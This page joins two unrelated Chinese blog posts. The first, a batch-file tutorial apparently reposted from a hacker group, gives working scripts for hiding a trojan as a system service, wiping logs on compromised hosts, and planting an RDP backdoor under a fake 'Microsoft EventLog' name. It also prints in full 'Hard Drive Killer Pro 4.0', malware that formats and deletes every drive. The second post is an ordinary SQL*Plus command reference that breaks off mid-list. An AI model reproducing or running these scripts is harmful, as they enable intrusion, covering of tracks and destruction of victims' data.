执行该脚本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]就已经被删除了。



相信看到这里,.reg文件你基本已经掌握了。那么现在的目标就是用批处理来创建特定内容的.reg文件了,记得我们前面说道的利用重定向符号可以很容易地创建特定类型的文件。



samlpe1:如上面的那个例子,如想生成如下注册表文件
Windows Registry Editor Version 5.00



[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Invader"="Ex4rch"
"door"=hex:255
"Autodos"=dword:000000128
只需要这样:
@echo Windows Registry Editor Version 5.00>>Sample.reg



@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>Sample.reg
@echo "Invader"="Ex4rch">>Sample.reg
@echo "door"=5>>C:\\WINNT\\system32\\door.exe>>Sample.reg
@echo "Autodos"=dword:02>>Sample.reg




samlpe2:
我们现在在使用一些比较老的木马时,可能会在注册表的[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows \CurrentVersion\Run(Runonce、Runservices、Runexec)]下生成一个键值用来实现木马的自启动.但是这样很 容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例(名为 windrv32.exe)
@start windrv32.exe
@attrib +h +r windrv32.exe
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>patch.dll
@echo "windsnx "=- >>patch.dll
@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:\winnt\system32\windrv32.exe
@regedit /s patch.dll
@delete patch.dll



@REM [删除DSNXDE在注册表中的启动项,用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读,并config为自启动]
@REM 这样不是更安全.



六.精彩实例放送。
1.删除win2k/xp系统默认共享的批处理
------------------------ cut here then save as .bat or .cmd file ---------------------------



@echo preparing to delete all the default shares.when ready pres any key.
@pause
@echo off



:Rem check parameters if null show usage.
if {%1}=={} goto :Usage



:Rem code start.
echo.
echo ------------------------------------------------------
echo.
echo Now deleting all the default shares.
echo.
net share %1$ /delete
net share %2$ /delete
net share %3$ /delete
net share %4$ /delete
net share %5$ /delete
net share %6$ /delete
net share %7$ /delete
net share %8$ /delete
net share %9$ /delete
net stop Server
net start Server
echo.
echo All the shares have been deleteed
echo.
echo ------------------------------------------------------
echo.
echo Now modify the registry to change the system default properties.
echo.
echo Now creating the registry file
echo Windows Registry Editor Version 5.00> c:\delshare.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]>> c:\delshare.reg
echo "AutoShareWks"=dword:00000000>> c:\delshare.reg
echo "AutoShareServer"=dword:00000000>> c:\delshare.reg
echo Nowing using the registry file to chang the system default properties.
regedit /s c:\delshare.reg
echo Deleting the temprotarily files.
del c:\delshare.reg
goto :END



:Usage
echo.
echo ------------------------------------------------------
echo.
echo ☆ A example for batch file ☆
echo ☆ [Use batch file to change the sysytem share properties.] ☆
echo.
echo Author:Ex4rch
echo Mail:Ex4rch@hotmail.com QQ:1672602
echo.
echo Error:Not enough parameters
echo.
echo ☆ Please enter the share disk you wanna delete ☆
echo.
echo For instance,to delete the default shares:
echo delshare c d e ipc admin print
echo.
echo If the disklable is not as C: D: E: ,Please chang it youself.
echo.
echo example:
echo If locak disklable are C: D: E: X: Y: Z: ,you should chang the command into :
echo delshare c d e x y z ipc admin print
echo.
echo *** you can delete nine shares once in a useing ***
echo.
echo ------------------------------------------------------
goto :EOF



:END
echo.
echo ------------------------------------------------------
echo.
echo OK,delshare.bat has deleted all the share you assigned.
echo.Any questions ,feel free to mail to Ex4rch@hotmail.com.
echo
echo.
echo ------------------------------------------------------
echo.



:EOF
echo end of the batch file
------------------------ cut here then save as .bat or .cmd file ---------------------------




2.全面加固系统(给肉鸡打补丁)的批处理文件
------------------------ cut here then save as .bat or .cmd file ---------------------------



@echo Windows Registry Editor Version 5.00 >patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters] >>patch.dll



@echo "AutoShareServer"=dword:00000000 >>patch.dll
@echo "AutoShareWks"=dword:00000000 >>patch.dll
@REM [禁止共享]



@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] >>patch.dll
@echo "restrictanonymous"=dword:00000001 >>patch.dll
@REM [禁止匿名登录]



@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters] >>patch.dll
@echo "SMBDeviceEnabled"=dword:00000000 >>patch.dll
@REM [禁止及文件访问和打印共享]



@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\@REMoteRegistry] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Schedule] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>patch.dll
@echo "ShutdownWithoutLogon"="0" >>patch.dll
@REM [禁止登录前关机]



@echo "DontDisplayLastUserName"="1" >>patch.dll
@REM [禁止显示前一个登录用户名称]
@regedit /s patch.dll



------------------------ cut here then save as .bat or .cmd file ---------------------------



下面命令是清除肉鸡所有日志,禁止一些危险的服务,并修改肉鸡的terminnal service留跳后路。
@regedit /s patch.dll
@net stop w3svc
@net stop event log
@del c:\winnt\system32\logfiles\w3svc1\*.* /f /q
@del c:\winnt\system32\logfiles\w3svc2\*.* /f /q
@del c:\winnt\system32\config\*.event /f /q
@del c:\winnt\system32dtclog\*.* /f /q
@del c:\winnt\*.txt /f /q
@del c:\winnt\*.log /f /q
@net start w3svc
@net start event log
@rem [删除日志]




@net stop lanmanserver /y
@net stop Schedule /y
@net stop RemoteRegistry /y
@del patch.dll
@echo The server has been patched,Have fun.
@del patch.bat
@REM [禁止一些危险的服务。]



@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>patch.dll
@echo "PortNumber"=dword:00002010 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp >>patch.dll
@echo "PortNumber"=dword:00002012 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService] >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo "ErrorControl"=dword:00000001 >>patch.dll
@echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\ >>patch.dll
@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\ >>patch.dll
@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll
@echo "ObjectName"="LocalSystem" >>patch.dll
@echo "Type"=dword:00000010 >>patch.dll
@echo "Description"="Keep record of the program and windows' message。" >>patch.dll
@echo "DisplayName"="Microsoft EventLog" >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\termservice] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@copy c:\winnt\system32\termsrv.exe c:\winnt\system32\eventlog.exe
@REM [修改3389连接,端口为8210(十六进制为00002012),名称为Microsoft EventLog,留条后路]



3.Hard Drive Killer Pro Version 4.0(玩批处理到这个水平真的不容易了。)
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo off
rem This program is dedecated to a very special person that does not want to be named.
:start
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo call format c: /q /u /autoSample >nul >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat >nul
rem Drive checking and assigning the valid drives to the drive variable.



set drive=
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z



rem code insertion for Drive Checking takes place here.
rem drivechk.bat is the file name under the root directory.
rem As far as the drive detection and drive variable settings, don't worry about how it
rem works, it's d\*amn to complicated for the average or even the expert batch programmer.
rem Except for Tom Lavedas.



echo @echo off >drivechk.bat
echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat



cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .



rem When errorlevel is 1, then the above is not true, if 0, then it's true.
rem Opposite of binary rules. If 0, it will elaps to the next command.



echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat



cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .



rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.
rem if errorlevel is 0, then it will elaps to the next command.



echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat



cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .



rem if it's errorlevel 1, then the specified drive is a hard or floppy drive.
rem if it's not errorlevel 1, then the specified drive is a CD-ROM drive.



echo :enddc >>drivechk.bat



rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".



rem Now we will use the program drivechk.bat to attain valid drive information.



:Sampledrv



for %%a in (%alldrive%) do call drivechk.bat %%a >nul
del drivechk.bat >nul
if %drive.==. set drive=c



:form_del
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cd\ >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Welcome to the land of death. Munga Bunga's Multiple Hard Drive Killer version 4.0. >>c:\autoexec.bat
echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:\autoexec.bat
echo echo 1. To make people aware that security should not be taken for granted. >>c:\autoexec.bat
echo echo 2. Love is important, if you have it, truly, don't let go of it like I did! >>c:\autoexec.bat
echo echo 3. If you are NOT a vegetarian, then you are a murderer, and I'm glad your HD is dead. >>c:\autoexec.bat
echo echo 4. Don't support the following: War, Racism, Drugs and the Liberal Party.>>c:\autoexec.bat



echo echo. >>c:\autoexec.bat
echo echo Regards, >>c:\autoexec.bat
echo echo. >>c:\autoexec.bat
echo echo Munga Bunga >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat



:makedir
if exist c:\temp.bat attrib -r -h c:\temp.bat >nul
echo @echo off >c:\temp.bat
echo %%1:\ >>c:\temp.bat
echo cd\ >>c:\temp.bat
echo :startmd >>c:\temp.bat
echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2") do %%%%a >>c:\temp.bat
echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:\temp.bat
echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto startmd >>c:\temp.bat
call attrib +r +h c:\temp.bat >nul





cls
echo Initializing Variables . . .
rem deltree /y %%a:\*. only eliminates directories, hence leaving the file created above for further destruction.
for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
for %%a in (%drive%) call attrib -r -h %%a:\ /S >nul
call attrib +r +h c:\temp.bat >nul
call attrib +r +h c:\autoexec.bat >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .



for %%a in (%drive%) call deltree /y %%a:\*. >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
echo Starting Application . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul



cls
echo Thank you for using a Munga Bunga product.
echo.
echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.
echo.
echo Here is a joke for you . . .
echo.
echo Q). What's the worst thing about being an egg?
echo A). You only get laid once.
echo.
echo HAHAHAHA, get it? Don't you just love that one?
echo.
echo Regards,
echo.
echo Munga Bunga



:end



rem Hard Drive Killer Pro Version 4.0, enjoy!!!!
rem Author: Munga Bunga - from Australia, the land full of retarded Australian's (help me get out of here).
转贴于 『中国X黑客小组』 WwW.

Wednesday, April 01, 2009

SQL*PLUS常用命令

TAB 用户创建的所有基表、视图和同义词清单

DTAB 构成数据字典的所有表

COL 用户创建的基表的所有列定义的清单

CATALOG 用户可存取的所有基表清单

-------------------------------------------
Oracle的sql*plus是与oracle进行交互的客户端工具。在sql*plus中,可以运行sql*plus命令与sql*plus语句。
我们通常所说的DML、DDL、DCL语句都是sql*plus语句,它们执行完后,都可以保存在一个被称为sql buffer的内存区域中,并且只能保存一条最近执行的sql语句,我们可以对保存在sql buffer中的sql 语句进行修改,然后再次执行,sql*plus一般都与数据库打交道。
  
  除了sql*plus语句,在sql*plus中执行的其它语句我们称之为sql*plus命令。它们执行完后,不保存在sql buffer的内存区域中,它们一般用来对输出的结果进行格式化显示,以便于制作报表。
  
  下面就介绍一下一些常用的sql*plus命令:
  
  1. 执行一个SQL脚本文件
  SQL>start file_name
  SQL>@ file_name
  我们可以将多条sql语句保存在一个文本文件中,这样当要执行这个文件中的所有的sql语句时,用上面的任一命令即可,这类似于dos中的批处理。
  
  2. 对当前的输入进行编辑
  SQL>edit
  
  3. 重新运行上一次运行的sql语句
  SQL>/
  
  4. 将显示的内容输出到指定文件
  SQL> SPOOL file_name
  在屏幕上的所有内容都包含在该文件中,包括你输入的sql语句。
  
  5. 关闭spool输出
  SQL> SPOOL OFF
  只有关闭spool输出,才会在输出文件中看到输出的内容。
  
  6.显示一个表的结构
  SQL> desc table_name
  
  7. COL命令:
  主要格式化列的显示形式。
  该命令有许多选项,具体如下:
  COL[UMN] [{ columneXPr} [ option ...]]
  Option选项可以是如下的子句:
  ALI[AS] alias
  CLE[AR]
  FOLD_A[FTER]
  FOLD_B[EFORE]
  FOR[MAT] format
  HEA[DING] text
  JUS[TIFY] {L[EFT]C[ENTER]C[ENTRE]R[IGHT]}
  LIKE { expralias}
  NEWL[INE]
  NEW_V[ALUE] variable
  NOPRI[NT]PRI[NT]
  NUL[L] text
  OLD_V[ALUE] variable
  ONOFF
  WRA[PPED]WOR[D_WRAPPED]TRU[NCATED]
  
  1). 改变缺省的列标题
  COLUMN column_name HEADING column_heading
  For example:
  Sql>select * from dept;
  DEPTNO DNAME            LOC
  ---------- ---------------------------- ---------
  10 ACCOUNTING          NEW YORK
  sql>col LOC heading location
  sql>select * from dept;
  DEPTNO DNAME            location
  --------- ---------------------------- -----------
  10 ACCOUNTING          NEW YORK
  
  2). 将列名ENAME改为新列名EMPLOYEE NAME并将新列名放在两行上:
  Sql>select * from emp
  Department name      Salary
  ---------- ---------- ----------
  10 aaa        11
  SQL> COLUMN ENAME HEADING ’EmployeeName’
  Sql>select * from emp
  Employee
  Department name      Salary
  ---------- ---------- ----------
  10 aaa        11
  note: the col heading turn into two lines from one line.
  
  3). 改变列的显示长度:
  FOR[MAT] format
  Sql>select empno,ename,job from emp;
  EMPNO ENAME   JOB
  ---------- ----------   ---------
  7369 SMITH   CLERK
  7499 ALLEN   SALESMAN
  7521 WARD    SALESMAN
  Sql> col ename format a40
  EMPNO ENAME                  JOB
  ----------  ----------------------------------------     ---------
  7369 SMITH                  CLERK
  7499 ALLEN                  SALESMAN
  7521 WARD                  SALESMAN
  
  4). 设置列标题的对齐方式
  JUS[TIFY] {L[EFT]C[ENTER]C[ENTRE]R[IGHT]}

  SQL> col ename justify center
  SQL> /
  EMPNO      ENAME          JOB
  ----------  ----------------------------------------    ---------
  7369 SMITH                  CLERK
  7499 ALLEN                  SALESMAN
  7521 WARD                   SALESMAN
  对于NUMBER型的列,列标题缺省在右边,其它类型的列标题缺省在左边
  
  5). 不让一个列显示在屏幕上
  NOPRI[NT]PRI[NT]
  SQL> col job noprint
  SQL> /
  EMPNO      ENAME
  ----------   ----------------------------------------
  7369 SMITH
  7499 ALLEN
  7521 WARD
  
  6). 格式化NUMBER类型列的显示:
  SQL> COLUMN SAL FORMAT $99,990
  SQL> /
  Employee
  Department Name    Salary  Commission
  ---------- ---------- --------- ----------
  30     ALLEN    $1,600  300
  
  7). 显示列值时,假如列值为NULL值,用text值代替NULL值
  COMM NUL[L] text
  SQL>COL COMM NUL[L] text
  
  8). 设置一个列的回绕方式
  WRA[PPED]WOR[D_WRAPPED]TRU[NCATED]
  COL1
  --------------------
  HOW ARE YOU?
  
  SQL>COL COL1 FORMAT A5
  SQL>COL COL1 WRAPPED
  COL1
  -----
  HOW A
  RE YO
  U?
  
  SQL> COL COL1 Word_WRAPPED
  COL1
  -----
  HOW
  ARE
  YOU?
  
  SQL> COL COL1 WORD_WRAPPED
  COL1
  -----
  HOW A
  
  9). 显示列的当前的显示属性值
  SQL> COLUMN column_name
  
  10). 将所有列的显示属性设为缺省值
  SQL> CLEAR COLUMNS
  
  8. 屏蔽掉一个列中显示的相同的值
  BREAK ON break_column
  SQL> BREAK ON DEPTNO
  SQL> SELECT DEPTNO, ENAME, SAL
  FROM EMP
  WHERE SAL < 2500
  ORDER BY DEPTNO;
  DEPTNO   ENAME     SAL
  ---------- ----------- ---------
  10      CLARK    2450
  MILLER   1300
  20      SMITH    800
  ADAMS    1100
  
  9. 在上面屏蔽掉一个列中显示的相同的值的显示中,每当列值变化时在值变化之前插入n个空行。
  BREAK ON break_column SKIP n
  
  SQL> BREAK ON DEPTNO SKIP 1
  SQL> /
  DEPTNO ENAME SAL
  ---------- ----------- ---------
  10 CLARK 2450
  MILLER 1300
  
  20 SMITH 800
  ADAMS 1100
  
  10. 显示对BREAK的设置
  SQL> BREAK
  
  11. 删除6、7的设置
  SQL> CLEAR BREAKS
  
  12. Set 命令:
  该命令包含许多子命令:
  SET system_variable value
  system_variable value 可以是如下的子句之一:
  APPI[NFO]{ONOFFtext}
  ARRAY[SIZE] {15n}
  AUTO[COMMIT]{ONOFFIMM[EDIATE]n}
  AUTOP[RINT] {ONOFF}
  AUTORECOVERY [ONOFF]
  AUTOT[RACE] {ONOFFTRACE[ONLY]} [EXP[LAIN]] [STAT[ISTICS]]
  BLO[CKTERMINATOR] {.c}
  CMDS[EP] {;cONOFF}
  COLSEP {_text}
  COM[PATIBILITY]{V7V8NATIVE}
  CON[CAT] {.cONOFF}
  COPYC[OMMIT] {0n}
  COPYTYPECHECK {ONOFF}
  DEF[INE] {&cONOFF}
  DESCRIBE [DEPTH {1nALL}][LINENUM {ONOFF}][INDENT {ONOFF}]
  ECHO {ONOFF}
  EDITF[ILE] file_name[.ext]
  EMB[EDDED] {ONOFF}
  ESC[APE] {\cONOFF}
  FEED[BACK] {6nONOFF}
  FLAGGER {OFFENTRY INTERMED[IATE]FULL}
  FLU[SH] {ONOFF}
  HEA[DING] {ONOFF}
  HEADS[EP] {cONOFF}

  INSTANCE [instance_pathLOCAL]
  LIN[ESIZE] {80n}
  LOBOF[FSET] {n1}
  LOGSOURCE [pathname]
  LONG {80n}
  LONGC[HUNKSIZE] {80n}
  MARK[UP] Html [ONOFF] [HEAD text] [BODY text] [ENTMAP {ONOFF}] [SPOOL
  {ONOFF}] [PRE[FORMAT] {ONOFF}]
  NEWP[AGE] {1nNONE}
  NULL text
  NUMF[ORMAT] format
  NUM[WIDTH] {10n}
  PAGES[IZE] {24n}
  PAU[SE] {ONOFFtext}
  RECSEP {WR[APPED]EA[CH]OFF}
  RECSEPCHAR {_c}
  SERVEROUT[PUT] {ONOFF} [SIZE n] [FOR[MAT] {WRA[PPED]WOR[D_
  WRAPPED]TRU[NCATED]}]
  SHIFT[INOUT] {VIS[IBLE]INV[ISIBLE]}
  SHOW[MODE] {ONOFF}
  SQLBL[ANKLINES] {ONOFF}
  SQLC[ASE] {MIX[ED]LO[WER]UP[PER]}
  SQLCO[NTINUE] {> text}
  SQLN[UMBER] {ONOFF}
  SQLPRE[FIX] {#c}
  SQLP[ROMPT] {SQL>text}
  SQLT[ERMINATOR] {;cONOFF}
  SUF[FIX] {SQLtext}
  TAB {ONOFF}
  TERM[OUT] {ONOFF}
  TI[ME] {ONOFF}
  TIM